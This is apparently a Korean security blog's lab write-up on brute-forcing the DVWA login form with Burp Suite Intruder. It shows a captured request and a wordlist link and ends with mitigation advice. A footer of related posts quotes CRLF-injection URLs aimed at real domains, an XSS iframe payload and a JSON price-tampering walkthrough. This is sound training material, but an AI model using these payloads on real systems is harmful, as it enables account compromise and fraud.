기본 콘텐츠로 건너뛰기

DVWA Brute Force


DVWA Brute Force [ Security Low ] 

[그림 1]


Summary
[그림1] 는 Brute Force 공격을 시도해 볼 수 있도록 개발된 로그인 폼을 제공하고 있습니다. 

Description
[그림1] 에서는 로그인 실패 시 로그인 시도 제한옵션으로 캡차,계정잠금등의 적절한 보안설정이 적용되어 있지 않아 다음과 같은 공격 시도가 가능합니다.
1. 사전파일 대입
2. 무차별대입

Steps to reproduce
1. username=admin password=test를 입력 후 로그인하는 과정에서 Burp Suite 를 통해 패킷을 잡은 뒤 , Send to Intruder 를 클릭합니다.
이때 Attack type : Sniper 를 선택합니다 . (공격 대상은 password=§test§ 입니다)
POST /DVWA/vulnerabilities/brute/ HTTP/1.1
Host: localhost.
Content-Length: 83
Cache-Control: max-age=0
Origin: http://localhost.
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Referer: http://localhost./DVWA/vulnerabilities/brute/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: security=impossible; security=impossible; PHPSESSID=bl4k880362sspjishnuv5nnp6v
Connection: close

username=admin&password=§test§&Login=Login&user_token=3eb9fc7ad1265a0bbcbcb333950cc8d637f
2. Payload type : Simple list 를 선택한 후 아래와 같은 Payload 를 사용합니다.
https://github.com/1N3/IntruderPayloads/blob/master/FuzzLists/passwords_quick.txt

3. Payload 설정이 완료되면 Start Attack 을 통해 사전파일 대입 공격을 진행합니다.

Impact
공격자는 무차별 대입 / 사전 파일 대입 공격을 통해 관리자의 비밀번호를 알아낼수있습니다. 따라서 로그인 실패 시 로그인 시도 제한옵션으로 캡차,계정잠금등의 적절한 보안설정을 통해 이를 방어해야합니다.


댓글

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link :  https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection  3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal  CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Resp...

Juice Shop XSS [ Dom based XSS ]

Juice Shop XSS [ Dom based XSS ] Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다. Payload :  <iframe src="javascript:alert(`xss`)">   다음과 같이 이는 < , > 는 &lt; , &gt; 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.

JSON Injection

JSON Injection [Description] JSON은 XML과 같이 주입공격에 취약합니다. 따라서 공격자는 JSON 엔터티에 임의의 요소나 속성을 삽입함으로써 , JSON Injection 이 가능합니다. 우리의 목표는 더 저렴한 가격으로 가격을 조작하여 물품을 구매하는것입니다. [그림1]   [그림1]   물품 가격 출력 그림. [그림1] 같이 N/A , Newark,Chicago 의 물품 가격이 존재합니다. 우리는 이러한 물품 가격을 조작하여 좀 더 저렴한 가격으로 구매가 가능한지에 대한 취약점 여부를 진단합니다.    [그림2] [그림2]  가격 조작 그림. [그림2] 와 같이 "N/A" 가격의 금액을 원래 금액인 $600 달러에서 $1달러로 변경하고 "Newark, Chicago" 가격의 금액을 원래 금액인 $300 달러에서 $1달러로 변경 후 전송하여 취약점을 진단합니다. [그림3] [그림3]  가격 조작 성공 금액 원래 금액인 가격을 $1달러로 변경 후 , 전송 시 [그림3] 과 같이 성공적으로 가격이 변경되는것을 확인할수있습니다.  [그림4] [그림4]  조작한 두 개의 물품을 모두 체크하여 구매한 그림. [그림3] 에서 조작한 금액을 모두 체크하여 전송 시 [그림4] 와 같이  성공적으로 구매가  가능합니다. [impact] 공격자는 JSON 주입 공격을 통해 물품 가격을 임의로 수정하여 원하는 금액에 구매가 가능합니다.